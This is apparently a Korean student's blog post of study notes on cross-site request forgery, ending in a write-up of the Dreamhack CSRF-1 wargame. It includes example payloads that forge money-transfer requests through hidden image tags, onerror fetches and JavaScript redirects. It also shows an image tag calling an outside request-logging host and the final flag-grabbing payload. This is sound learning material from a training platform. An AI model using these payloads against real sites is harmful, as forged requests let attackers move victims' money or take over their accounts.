-
웹 해킹(5) - CSRF해킹/웹해킹 2023. 3. 31. 21:53
👩💻 CSRF란?
- 임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점
- 공격자는 임의 이용자의 권한으로 서비스 기능을 사용해 이득을 취할 수 있다.
- 웹 페이지를 만들어서 이용자의 입력을 유도하고, 이용자가 값을 입력하면 이를 은행이나 중요 포털 사이트 등으로 전송하여 마치 이용자가 동의한 것 같은 요청을 발생시킴
- 이용자의 계정으로 임의 금액을 송금해 금전적인 이득을 취하거나 비밀번호를 변경해 계정을 탈취하고, 관리자 계정을 공격해 공지사항 작성한다. (의도치 않은 요청에 동의를 하게 만듦)
✍ 이용자가 HTTP 요청을 보내는 코드
- 서버가 받아들이는 이용자 요청 코드(서버식으로 바꾼 것)
GET /sendmoney?to=dreamhack&amount=1337 HTTP/1.1 //메서드 url?to=송신상대&amount 통신프로토콜 Host: bank.dreamhack.io //서버 도메인 Cookie: session=IeheighaiToo4eenahw3 //서버에서 발행해주는 쿠키 위에 세션 올라감ㅁ
- 서버의 요청 코드 처리 코드
# 이용자가 /sendmoney에 접속했을때 아래와 같은 송금 기능을 웹 서비스가 실행함. @app.route('/sendmoney') def sendmoney(name): # 송금을 받는 사람과 금액을 입력받음. to_user = request.args.get('to') amount = int(request.args.get('amount')) # 송금 기능 실행 후, 결과 반환 success_status = send_money(to_user, amount) # 송금이 성공했을 때, if success_status: # 성공 메시지 출력 return "Send success." # 송금이 실패했을 때, else: # 실패 메시지 출력 return "Send fail."
CSRF 공격 스크립트
- 공격에 성공하기 위해서는 공격자가 작성한 악성 스크립트(HTTP 요청을 보내는 코드)를 이용자가 실행해야 됨
- 공격자가 유저에게 메일을 보거나 게시판에 글을 작성하여 이용자가 조회하도록 유도함
- html 또는 자바스크립트를 통해 작성이 가능하다.
CSRF 태그 종류
- img : 이미지 불러오기
- form : 웹페이지에 입력된 양식 전송하기
HTTP 요청을 이 두 태그를 사용해 보내면 HTTP 헤더인 COOkie에 이용자의 인증 정보가 포함된다.
- 자바스크립트 코드(window.open, location.href)
img 태그를 사용한 스크립트
- 이미지의 크기를 줄일 수 있는 옵션을 주기 때문에 width = 0px height=0px으로 둔다.
<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px>
<img src="/sendmoney?to=dreamhack&amount=1337">
<img src=1 onerror="fetch('/sendmoney?to=dreamhack&amount=1337');">
<link rel="stylesheet" href="/sendmoney?to=dreamhack&amount=1337">
자바스크립트
/* 새 창 띄우기 */ : window.open('공격자가 지정한 도메인 주소') window.open('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337'); /* 현재 창 주소 옮기기 */ location.href = ''; location.replace(''); location.href = 'http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337'; location.replace('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
XSS와 CSRF의 차이점
- 두 개의 취약점 모두 클라이언트를 대상으로 하는 공격이고 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야함
- XSS는 세션과 쿠키 타루치를 목적으로 하는 공격이기 때문에 공격할 사이트의 오리진에서 스크립트를 실행한다.
- CSRF는 이용자가 임의 페이지에 HTTP 요청을 보내는 것을 목적으로 하며 공격자는 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있다.
CSRF 익스플로잇
Flask 기본 구조
/vuln 페이지
@app.route("/vuln") # vuln 페이지 라우팅 (이용자가 /vuln 페이지에 접근시 아래 코드 실행) def vuln(): param = request.args.get("param", "").lower() # 이용자가 입력한 param 파라미터를 소문자로 변경:lower() xss_filter = ["frame", "script", "on"] # 세 가지 필터링 키워드를 미리 지정해놓음 : 이공격은 통하지 않을것으로 보인다. for _ in xss_filter: param = param.replace(_, "*") # 이용자가 입력한 값 중에 필터링 키워드가 있는 경우, '*'로 치환 return param # 이용자의 입력 값을 화면 상에 표시
-script, frame, on을 필터링한다 -> xss 공격 불가능
- <>는 필터링을 하지 않기 때문에 CSRF 공격 수행 가능
/memo 페이지
- 이용자가 전달한 memo 파라미터 값(text에 넣어서, request.arts.get(파라미터, ' '))을 기록한다.
- render_template 함수로 화면에 출력함
@app.route('/memo') # memo 페이지 라우팅 def memo(): # memo 함수 선언 global memo_text # 메모를 전역변수로 참조 text = request.args.get('memo', '') # 이용자가 전송한 memo 입력값을 가져옴 memo_text += text + '\n' # 메모의 마지막에 새 줄 삽입 후 메모에 기록 return render_template('memo.html', memo=memo_text) # 사이트에 기록된 메모를 화면에 출력
/admin/notice_flag
- 로컬 호스트인 127.0.0.1에서 접근하고 userid 파라미터 == admin일 때 메모에 Flag를 작성하게 한다.
- 조건을 만족히자 못하면 접근제한 메세지 걸림
- /admin/notice_flag 페이지 자체는 모두가 접근이 가능하며, userid에 admin값 넣는 것으로 문제풀이 방식을 생각할 수 있지만, 일반 유저가 페이지에 접근할 때의 IP 주소는 조작하는 것이 불가능함 = 이 말은 일반 유저의 IP가 로컬 호스트컴퓨터가 되어 권한을 획득하는 것이 불가능하기 때문에 단순히 접근하는 것으로만은 플래그 획득이 안된다.
if request.remote_addr != '127.0.0.1': # 이용자의 IP가 로컬호스트가 아닌 경우 return 'Access Denied' # 접근 제한
@app.route('/admin/notice_flag') # notice_flag 페이지 라우팅 def admin_notice_flag(): global memo_text # 메모를 전역변수로 참조 if request.remote_addr != '127.0.0.1': # 이용자의 IP가 로컬호스트가 아닌 경우 return 'Access Denied' # 접근 제한 if request.args.get('userid', '') != 'admin': # userid 파라미터가 admin이 아닌 경우 return 'Access Denied 2' # 접근 제한 memo_text += f'[Notice] flag is {FLAG}\n' # 위의 조건을 만족한 경우 메모에 FLAG 기록 return 'Ok' # Ok 반환
if request.args.get('userid', '') != 'admin': # userid 파라미터가 admin이 아닌 경우 return 'Access Denied 2' # 접근 제한
- userid = admin인지 검사하는 부분임 : admin도 공격 코드 안에 넣어주어야 한다.
로컬 호스트
- 컴퓨터 네트워크에서 사용하는 호스트명의 일종
- 자기 자신의 컴퓨터를 의미함
IPv4 방식 표기
127.0.0.1
IPv6 방식 표기
00:00:00:00:00:00:00:01
/flag
@app.route("/flag", methods=["GET", "POST"]) # flag 페이지 라우팅 (GET, POST 요청을 모두 받음) def flag(): if request.method == "GET": # 이용자의 요청이 GET 메소드인 경우 return render_template("flag.html") # 이용자에게 링크를 입력받는 화면을 출력 elif request.method == "POST": # 이용자의 요청이 POST 메소드인 경우 param = request.form.get("param", "") # param 파라미터를 가져온 후, if not check_csrf(param): # 관리자에게 접속 요청 (check_csrf 함수) return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>' def check_csrf(param, cookie={"name": "name", "value": "value"}): url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" # 로컬 URL 설정 return read_url(url, cookie) # URL 방문 def read_url(url, cookie={"name": "name", "value": "value"}): cookie.update({"domain": "127.0.0.1"}) # 관리자 쿠키가 적용되는 범위를 127.0.0.1로 제한되도록 설정 try: options = webdriver.ChromeOptions() # 크롬 옵션을 사용하도록 설정 for _ in [ "headless", "window-size=1920x1080", "disable-gpu", "no-sandbox", "disable-dev-shm-usage", ]: options.add_argument(_) # 크롬 브라우저 옵션 설정 driver = webdriver.Chrome("/chromedriver", options=options) # 셀레늄에서 크롬 브라우저 사용 driver.implicitly_wait(3) # 크롬 로딩타임을 위한 타임아웃 3초 설정 driver.set_page_load_timeout(3) # 페이지가 오픈되는 타임아웃 시간 3초 설정 driver.get("http://127.0.0.1:8000/") # 관리자가 CSRF-1 문제 사이트 접속 driver.add_cookie(cookie) # 관리자 쿠키 적용 driver.get(url) # 인자로 전달된 url에 접속 except Exception as e: driver.quit() # 셀레늄 종료 print(str(e)) # return str(e) return False # 접속 중 오류가 발생하면 비정상 종료 처리 driver.quit() # 셀레늄 종료 return True # 정상 종료 처리
check_csrf
- 위에서 가져온 인자(param)와 쿠키를 호출한 뒤에 이 param을 param={urllib.parse.quote(param)} 안에 넣어 URL의 파라미터로 설정한다.(취약점 발생)
- read_url 함수를 넣어 url을 방문하는데 이때 url은 서버가 동장하고 있는 로컬 호스트의 이용자(http://127.0.0.1:8000)가 방문하는 것이기 때문에 자기 자신의 호스트로 접속하게 된다.
def check_csrf(param, cookie={"name": "name", "value": "value"}): url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" # 로컬 URL 설정 return read_url(url, cookie) # URL 방문
driver : 관리자 권한 관련 메서드를 넣어 관리자 권한을 조작한다.
- /vuln 페이지에서 csrf 공격이 가능한데, 공격 코드가 삽입된 /vuln 페이지를 다른 이용자가 방문할 경우, 의도치 않은 페이지로 요청을 전송하는 시나리오 구상 가능
- /admin/notice_flag 페이지를 로컬호스트에서 접근하기 위해서 /admin/notice_flag 페이지로 요청을 전송하도록 해야함
- 로컬호스트를 허용해주는 페이지가 flag이기 때문에 flag를 통해서 /admin/notice_flag 페이지로 갈수 있도록 한다.
테스트베드 생성
1. HTTP 응답을 받을 웹서버가 필요함(외부에서 접근 가능한 공격자의 웹서버) : csfr 취약점 발생 여부 확인가능
Request Bin
- 랜덤한 URL 제공
- 제공된 URL에 대한 이용자의 접속 기록 저장 : XSS, CSRF
2. URL에 CSRF 공격 코드 삽입
<img src="https://jugwwka.request.dreamhack.games">
URL 삽입 확인 가능 이렇게만 하면 접속이 안됨(위에서 userid=admin인지 검사하는 기능이 있기 때문! 따라서 더 추가를 해주어야 한다.)
http://127.0.0.1:8000/vuln?param=<img src="/admin/notice_flag?userid=admin"/>
'해킹 > 웹해킹' 카테고리의 다른 글
SQL INJECTION(1) (0) 2023.04.03 웹 해킹(4) - XSS (0) 2023.03.31 드림핵 워게임(1) - cookie (0) 2023.03.30 웹해킹 기초(3) - 쿠키&세션 (0) 2023.03.30 웹 해킹(2) - 개발자 도구 사용하기 (0) 2023.03.29